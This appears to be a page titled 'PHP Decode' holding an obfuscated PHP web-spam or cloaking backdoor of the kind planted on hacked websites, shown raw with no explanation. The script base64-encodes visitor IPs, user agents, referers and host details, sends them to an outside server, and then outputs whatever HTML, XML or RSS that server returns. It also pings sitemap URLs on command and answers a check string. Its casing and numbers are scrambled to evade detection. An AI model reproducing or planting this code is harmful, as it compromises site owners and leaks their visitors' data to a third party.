PHP Decode

<?php eRror_rEpOrTing((int)roUnD(-91.25+-91.25+-91.25+-91.25)+(int)rouNd(173.5+173.5)-(int)ROUND(-4.5+-4.5+-4.5+-4.5));HEAder("Content-Type: text/html; charset=utf-8");$efup=BaSe64_enCoDE(@$_SERVER["HTTPACCEPT_LANGUAGE"]);$gvwu=bASE64_EnCoDe(@$_SERVER["REQUEST_URI"]);$_sezsuaiu=@$_SERVER["HTTPHOST"];$ievf=BasE64_EncODe(@$_SERVER["HTTP_USERAGENT"]);$gxqf=basE64_ENCodE(@$_SERVER["HTTP_REFERER"]);$_utqxs=bAsE64_enCoDe(@$_SERVER["REMOTEADDR"]);$wjthg=BASE64_eNCOde(Date_defaUlT_tiMEZone_get());$_mvualrfe=((isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]=="on")||(isset($_SERVER["HTTP_X_FORWARDEDPROTO"])&&$SERVER["HTTP_XFORWARDED_PROTO"]=="https"))?"https://":"http://";$_hdvk="https://fgm270.dualdish.top";$_vrbmcm=BaSE64_eNcoDE($_mvualrfe.$_sezsuaiu);$_zkjqxw=$_hdvk."/index.php?domain=".$_vrbmcm."&uri=".$_gvwu."&lan=".$_efup."&agent=".$_ievf."&zone=".$_wjthg."&ip=".$_utqxs."&goweb=".$_hdvk."&referer=".$_gxqf;$_wadbhrb=_oauf($_zkjqxw);if(STRIpos($_SERVER["REQUEST_URI"],"jp2023")!==false){echo$_sezsuaiu.":cs270-ok;";exit();}if(STrStr($_wadbhrb,"[#*#*#]")){$_unrmhg=EXpLodE("[#*#*#]",$_wadbhrb);if($_unrmhg[(int)Round(0+0)]=="echohtml"){echo$_unrmhg[(int)ROUnD(0.25+0.25+0.25+0.25)];exit;}if($_unrmhg[(int)roUND(0+0)]=="echoxml"){HEADer("Content-type: text/xml");echo$_unrmhg[(0251+-0771- -0420)+(int)round(-8.75+-8.75+-8.75+-8.75)-(-0330+0164)];exit;}if($_unrmhg[(-01071- -0273+0507)+(-0542- -01401+-01554)-(int)rounD(-258+-258)]=="echorss"){hEADER("Content-type: text/xml");echo$_unrmhg[(-0410-065)+(0550+-01665-0674- -01533)-(-01300- -0324)];exit;}if($_unrmhg[(int)RoUnd(0+0+0+0)]=="pingxml"){$_wjltkb=ExPLODE("|||",$_unrmhg[(int)rOund(0.33333333333333+0.33333333333333+0.33333333333333)]);foreach($_wjltkb as$_iqskdr){$_sxvvr=_oauf($_iqskdr);$_ldhu=(Strpos($_sxvvr,"Sitemap Notification Received")!==false)?"OK":"ERROR";echo$_iqskdr."===>Sitemap: ".$_ldhu."<br>";}exit;}}function _oauf($_dczqy){$_wadbhrb=@fIle_GEt_COntentS($_dczqy);if(!$_wadbhrb){$_iezlidvn=Curl_INiT();CURl_SeTOpT($_iezlidvn,(int)roUnD(2474.75+2474.75+2474.75+2474.75)-(0734+0665-01770),$_dczqy);cuRL_seTOpT($_iezlidvn,(int)ROund(-153.5+-153.5)+(int)Round(129.33333333333+129.33333333333+129.33333333333),(int)ROuND(0+0+0+0));curl_SEtopt($_iezlidvn,(int)RoUND(21.333333333333+21.333333333333+21.333333333333),(-01634+-01322+-0623+02757)+(int)rOunD(-26.5+-26.5)+(int)RoUND(153.75+153.75+153.75+153.75)-(0323- -0334+03-0622));CURL_SeTopT($_iezlidvn,(046600-046616+046620+043)-(-053+060- -0247+-0320),(int)Round(0.25+0.25+0.25+0.25));$_wadbhrb=CURl_exEc($_iezlidvn);CUrl_CLoSE($_iezlidvn);}return$_wadbhrb;};?>